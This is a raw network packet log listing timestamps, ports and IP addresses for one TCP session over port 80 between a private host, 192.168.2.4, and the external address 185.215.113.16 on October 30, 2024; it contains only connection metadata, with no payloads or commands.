Oct 30, 2024 12:36:33.650392056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.650403023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.650413990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.650419950 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.650425911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.650437117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.650445938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.650454044 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.650458097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.650469065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.650475025 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.650481939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.650492907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.650496960 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.650506020 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.650542974 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.651000023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651011944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651021957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651034117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651045084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651046038 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.651057005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651067972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651084900 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.651084900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651098013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651108980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651112080 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.651120901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651134014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651135921 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.651144981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651150942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651160002 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.651169062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651186943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651190042 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.651197910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651210070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651221037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651232958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651238918 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.651243925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651257038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651268005 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.651269913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651309013 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.651866913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651879072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651890039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651901960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651906013 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.651912928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651923895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651932955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651949883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651954889 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.651961088 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651971102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651983023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.651989937 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.652000904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.652000904 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.652012110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.652021885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.652026892 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.652034044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.652045012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.652053118 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.652056932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.652070045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.652081966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.652086020 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.652095079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.652105093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.652107954 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.652117968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.652127981 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.652131081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.652153015 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.652180910 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.877849102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.877927065 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.136854887 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.142417908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.142443895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.142455101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.142499924 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.142537117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.142549038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.142559052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.142571926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.142627954 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.142673016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.142683983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.142694950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.142716885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.142721891 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.142729998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.142740965 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.142744064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.142757893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.142769098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.142782927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.142803907 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.142841101 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.143035889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.143052101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.143063068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.143074036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.143084049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.143095016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.143100023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.143107891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.143120050 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.143212080 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.143304110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.143321991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.143333912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.143346071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.143358946 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.143358946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.143378973 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.143455029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.143466949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.143479109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.143492937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.143506050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.143528938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.143528938 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.143528938 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.143539906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.143553019 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.143553972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.143568039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.143578053 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.143579960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.143593073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.143605947 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.143609047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.143623114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.143631935 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.143666983 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.143913031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.143990993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.144001961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.144012928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.144023895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.144037008 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.144134998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.144145966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.144159079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.144160986 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.144172907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.144187927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.144201040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.144215107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.144217014 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.144222021 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.144237995 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.144289017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.144433975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.144445896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.144455910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.144469023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.144484997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.144507885 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.144521952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.144534111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.144543886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.144556046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.144566059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.144579887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.144588947 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.144593000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.144598961 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.144607067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.144663095 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.145016909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145028114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145040035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145055056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145067930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145081997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145087957 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.145096064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145103931 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.145107985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145124912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145132065 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.145137072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145150900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145162106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145168066 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.145175934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145190001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145191908 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.145347118 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.145462990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145473957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145483971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145495892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145507097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145518064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145524979 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.145530939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145546913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145549059 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.145560026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145572901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145581007 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.145714998 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.145739079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145751953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145762920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145781994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145803928 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.145898104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145910025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145920992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145932913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145946026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.145948887 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.145962000 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.146030903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.146054983 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.146166086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.146178007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.146192074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.146207094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.146219969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.146234035 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.146234035 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.146234989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.146249056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.146260023 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.146261930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.146282911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.146291971 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.146353960 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.146512985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.146524906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.146534920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.146547079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.146560907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.146565914 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.146575928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.146579981 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.146589041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.146600008 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.146612883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.146634102 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.146832943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.146846056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.146858931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.146874905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.146893978 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.146894932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.146909952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.146924019 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.146928072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.146939993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.146951914 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.146965027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.146967888 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.146967888 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.147005081 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.147250891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.147263050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.147274017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.147285938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.147298098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.147305965 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.147317886 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.147321939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.147335052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.147345066 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.147347927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.147361040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.147377968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.147389889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.147401094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.147414923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.147428036 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.147428036 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.147430897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.147480011 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.147591114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.147650003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.147663116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.147691011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.147712946 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.147799015 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.147810936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.147820950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.147834063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.147845984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.147846937 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.147860050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.147870064 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.147878885 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.147954941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.147965908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.147984028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.147998095 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.148011923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.148025036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.148027897 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.148036957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.148049116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.148062944 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.148097038 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.148117065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.148277044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.148291111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.148304939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.148308992 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.148317099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.148330927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.148339033 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.148344994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.148358107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.148370028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.148371935 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.148382902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.148392916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.148403883 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.148698092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.148732901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.148744106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.148752928 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.148811102 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.148838043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.148849964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.148859978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.148870945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.148916006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.149013042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.149024963 CET	80	49744	185.215.113.16	192.168.2.4
